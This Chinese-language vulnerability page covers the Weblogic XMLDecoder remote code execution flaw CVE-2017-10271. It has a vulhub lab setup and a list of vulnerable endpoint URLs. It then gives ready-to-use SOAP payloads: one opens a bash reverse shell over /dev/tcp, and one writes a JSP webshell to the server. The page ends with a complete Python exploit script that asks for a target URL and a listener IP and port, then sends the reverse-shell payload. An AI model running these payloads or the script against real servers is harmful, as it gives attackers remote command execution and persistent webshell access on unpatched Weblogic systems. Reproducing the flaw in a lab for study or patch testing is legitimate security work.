# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
## 漏洞描述
Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。
## 影响版本
> [!NOTE]
>
> Weblogic 10.3.6.0.0
>
> Weblogic 12.1.3.0.0
>
> Weblogic 12.2.1.0.0
>
> Weblogic 12.2.1.2.0
## 环境搭建
```
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d
```
访问 http://xxx.xxx.xxx.xxx:7001 正常即可
## 漏洞复现
对 http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType 进行访问，存在这个url则可能存在漏洞
```
其他可利用URL
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
```
使用POST方法上传以下数据反弹一个shell
```xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
```
使用Curl反弹shell (将上面的xml数据保存为poc.xml)
```shell
curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://xxx.xxx.xxx.xxx:7001/wls-wsat/CoordinatorPortType"
```
也可以通过漏洞写入webshell文件
```xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
```
访问 http://xxx.xxx.xxx.xxx:7001/bea_wls_internal/test.jsp 即可得到写入的文件
## 漏洞利用POC
利用 [weblogic-scan](https://github.com/kingkaki/weblogic-scan)快速检测
> [!NOTE]
>
> 反弹shell exp
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
import sys
import json
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Weblogic 10.3.6.0.0 \033[0m')
print('+ \033[34m Weblogic 12.1.3.0.0 \033[0m')
print('+ \033[34m Weblogic 12.2.1.0.0 \033[0m')
print('+ \033[34m Weblogic 12.2.1.2.0 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2017-10271.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:7001 \033[0m')
print('+ \033[36mCmd >>> shell(反弹shell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url, IP, PORT):
vuln_url = target_url + "/wls-wsat/CoordinatorPortType"
headers = {
"Content-Type": "text/xml",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/%s/%s 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
""" % (IP,PORT)
try:
response = requests.request("POST", url=vuln_url, headers=headers, data=data)
except:
print("\033[31m[x] 漏洞利用失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
IP = str(input("\033[35m请输入监听IP >>> \033[0m"))
PORT = str(input("\033[35m请输入监听PORT >>> \033[0m"))
POC_1(target_url, IP, PORT)
```
